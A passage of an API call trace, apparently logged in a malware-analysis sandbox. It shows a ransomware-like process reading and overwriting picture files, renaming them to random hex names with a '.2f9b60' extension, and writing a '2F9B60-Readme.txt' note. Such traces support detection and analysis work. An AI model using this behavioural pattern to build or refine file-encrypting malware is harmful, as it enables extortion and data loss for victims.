0x607ce8ae [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x89cc38b [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x81aa56e [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x27f1d1ff [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x18e0924b [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x147b7ae8 [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x8dc9dba [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x6f00594b [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x64050cbe [0118.402] RtlRandomEx (in: Seed=0x3dc1f590 | out: Seed=0x3dc1f590) returned 0x38907fff [0118.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab90 [0118.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7a0) returned 1 [0118.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae00) returned 1 [0118.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0118.409] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.409] ReadFile (in: hFile=0x1720, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3dc1f600, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3dc1f600*=0x3c00, lpOverlapped=0x0) returned 1 [0118.409] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae00 [0118.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae00) returned 1 [0118.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0118.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae00 [0118.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0118.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7a0) returned 1 [0118.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.409] WriteFile (in: hFile=0x1720, lpBuffer=0x41fbd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3dc1f600, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesWritten=0x3dc1f600*=0x3c00, lpOverlapped=0x0) returned 1 [0118.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0118.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0118.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c620 [0118.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0118.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0118.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7a0) returned 1 [0118.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bcc0 [0118.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0118.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab60 [0118.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab60) returned 1 [0118.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0118.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x1b7d3a20 [0118.412] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.412] WriteFile (in: hFile=0x1720, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3dc1f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3dc1f6b0*=0x120, lpOverlapped=0x0) returned 1 [0118.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0118.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab60 [0118.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab60) returned 1 [0118.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8080 [0118.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab60 [0118.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aabf0 [0118.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aabf0) returned 1 [0118.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0118.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1ced8d70 [0118.413] sprintf (in: _Dest=0x1ced8d70, _Format="%c%c" | out: _Dest="59") returned 2 [0118.413] sprintf (in: _Dest=0x1ced8d72, _Format="%c%c" | out: _Dest="23") returned 2 [0118.413] sprintf (in: _Dest=0x1ced8d74, _Format="%c%c" | out: _Dest="62") returned 2 [0118.413] sprintf (in: _Dest=0x1ced8d76, _Format="%c%c" | out: _Dest="a3") returned 2 [0118.413] sprintf (in: _Dest=0x1ced8d78, _Format="%c%c" | out: _Dest="7f") returned 2 [0118.413] sprintf (in: _Dest=0x1ced8d7a, _Format="%c%c" | out: _Dest="8b") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d7c, _Format="%c%c" | out: _Dest="0f") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d7e, _Format="%c%c" | out: _Dest="4e") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d80, _Format="%c%c" | out: _Dest="9a") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d82, _Format="%c%c" | out: _Dest="f5") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d84, _Format="%c%c" | out: _Dest="f9") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d86, _Format="%c%c" | out: _Dest="3f") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d88, _Format="%c%c" | out: _Dest="75") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d8a, _Format="%c%c" | out: _Dest="ad") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d8c, _Format="%c%c" | out: _Dest="25") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d8e, _Format="%c%c" | out: _Dest="cd") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d90, _Format="%c%c" | out: _Dest="1c") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d92, _Format="%c%c" | out: _Dest="02") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d94, _Format="%c%c" | out: _Dest="07") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d96, _Format="%c%c" | out: _Dest="17") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d98, _Format="%c%c" | out: _Dest="c1") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d9a, _Format="%c%c" | out: _Dest="ad") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d9c, _Format="%c%c" | out: _Dest="37") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8d9e, _Format="%c%c" | out: _Dest="0b") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8da0, _Format="%c%c" | out: _Dest="77") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8da2, _Format="%c%c" | out: _Dest="4b") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8da4, _Format="%c%c" | out: _Dest="b0") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8da6, _Format="%c%c" | out: _Dest="f3") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8da8, _Format="%c%c" | out: _Dest="70") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8daa, _Format="%c%c" | out: _Dest="18") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dac, _Format="%c%c" | out: _Dest="12") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dae, _Format="%c%c" | out: _Dest="91") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8db0, _Format="%c%c" | out: _Dest="e6") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8db2, _Format="%c%c" | out: _Dest="4c") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8db4, _Format="%c%c" | out: _Dest="8e") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8db6, _Format="%c%c" | out: _Dest="c8") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8db8, _Format="%c%c" | out: _Dest="5a") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dba, _Format="%c%c" | out: _Dest="27") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dbc, _Format="%c%c" | out: _Dest="f4") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dbe, _Format="%c%c" | out: _Dest="4d") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dc0, _Format="%c%c" | out: _Dest="c8") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dc2, _Format="%c%c" | out: _Dest="12") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dc4, _Format="%c%c" | out: _Dest="8c") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dc6, _Format="%c%c" | out: _Dest="e6") returned 2 [0118.414] sprintf (in: _Dest=0x1ced8dc8, _Format="%c%c" | out: _Dest="0b") returned 2 [0118.415] sprintf (in: _Dest=0x1ced8dca, _Format="%c%c" | out: _Dest="63") returned 2 [0118.415] RtlInitAnsiString (in: DestinationString=0x3dc1f728, SourceString="592362a37f8b0f4e9af5f93f75ad25cd1c020717c1ad370b774bb0f370181291e64c8ec85a27f44dc8128ce60b63" | out: DestinationString="592362a37f8b0f4e9af5f93f75ad25cd1c020717c1ad370b774bb0f370181291e64c8ec85a27f44dc8128ce60b63") [0118.415] RtlAnsiStringToUnicodeString (in: DestinationString=0x3dc1f6f8, SourceString="592362a37f8b0f4e9af5f93f75ad25cd1c020717c1ad370b774bb0f370181291e64c8ec85a27f44dc8128ce60b63", AllocateDestinationString=1 | out: DestinationString="592362a37f8b0f4e9af5f93f75ad25cd1c020717c1ad370b774bb0f370181291e64c8ec85a27f44dc8128ce60b63") returned 0x0 [0118.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1183a0 [0118.415] RtlFreeAnsiString (AnsiString="5") [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8080) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab60) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7a0) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae00) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa740) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa770) returned 1 [0118.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab90) returned 1 [0118.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278e30 [0118.415] wcscat (in: _Dest=0x20278e30, _Source="592362a37f8b0f4e9af5f93" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\592362a37f8b0f4e9af5f93") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\592362a37f8b0f4e9af5f93" [0118.416] wcscat (in: _Dest=0x20278e30, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\592362a37f8b0f4e9af5f93.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\592362a37f8b0f4e9af5f93.2f9b60" [0118.416] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\592362a37f8b0f4e9af5f93.2f9b60", NtPathName=0x3dc1f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\592362a37f8b0f4e9af5f93.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0118.416] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x3dc1f770, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0118.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0118.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0118.417] NtQueryInformationFile (in: FileHandle=0x1720, IoStatusBlock=0x3dc1f738, FileInformation=0x3dc1f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3dc1f738, FileInformation=0x3dc1f748) returned 0x0 [0118.417] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x3dc1f738, FileInformation=0x3dc1f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278e30) returned 1 [0118.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0118.419] FlushFileBuffers (hFile=0x1720) returned 1 [0118.420] CloseHandle (hObject=0x1720) returned 1 [0118.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ae420 [0118.421] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0118.421] wcscat (in: _Dest=0x1b7ae420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt" [0118.421] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\2f9b60-readme.txt")) returned 0xffffffff [0118.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1720 [0118.422] WriteFile (in: hFile=0x1720, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3dc1f5f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3dc1f5f0*=0xba9, lpOverlapped=0x0) returned 1 [0118.423] CloseHandle (hObject=0x1720) returned 1 [0118.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0118.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5860) returned 1 Thread: id = 1362 os_tid = 0xda0 [0118.427] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\cu1cpw43.jpg")) returned 0x20 [0118.427] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg", dwFileAttributes=0x20) returned 1 [0118.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\cu1cpw43.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0118.427] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x20d8f9a0 | out: lpFileSize=0x20d8f9a0*=41573) returned 1 [0118.427] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0xa261, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.427] ReadFile (in: hFile=0x1720, lpBuffer=0x20d8f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20d8f968, lpOverlapped=0x0 | out: lpBuffer=0x20d8f920*, lpNumberOfBytesRead=0x20d8f968*=0x4, lpOverlapped=0x0) returned 1 [0118.428] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5b0 [0118.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0118.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8613b0 [0118.429] NtQuerySystemTime (in: CurrentTime=0x20d8f860 | out: CurrentTime=0x20d8f860*=132462177238714000) returned 0x0 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x7cb33b39 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x1afe0133 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x43faf706 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0xa6dfd7c [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x39715edd [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x2627ca35 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x3f358980 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x41238fe5 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x4347abdb [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x497514d3 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x44f5ea54 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x7f732cb2 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x5133c804 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x4ef8493a [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0xe695216 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x835d9bb [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x2ee71760 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x418df10e [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x26ad2524 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x66edcbc5 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x78d16bfe [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x694c5a31 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x55d89dd8 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x421842e9 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0xcbd4421 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x732305ed [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x7cfa9399 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x45c03869 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x47476990 [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x1ca2e9dd [0118.429] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0x7fc20a9b [0118.430] RtlRandomEx (in: Seed=0x20d8f850 | out: Seed=0x20d8f850) returned 0xf515b71 [0118.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe80 [0118.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0118.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8613b0) returned 1 [0118.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5b0) returned 1 [0118.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0118.437] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.437] ReadFile (in: hFile=0x1720, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20d8f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x20d8f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0118.437] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5b0 [0118.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5b0) returned 1 [0118.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0118.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5b0 [0118.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8613b0 [0118.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8613b0) returned 1 [0118.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.438] WriteFile (in: hFile=0x1720, lpBuffer=0x41fbd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20d8f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesWritten=0x20d8f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0118.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0118.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0118.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8613b0 [0118.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0118.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0118.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860fc0 [0118.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8611d0 [0118.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860810 [0118.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860810) returned 1 [0118.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x168000 [0118.441] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.441] WriteFile (in: hFile=0x1720, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x20d8f970, lpOverlapped=0x0 | out: lpBuffer=0x168000*, 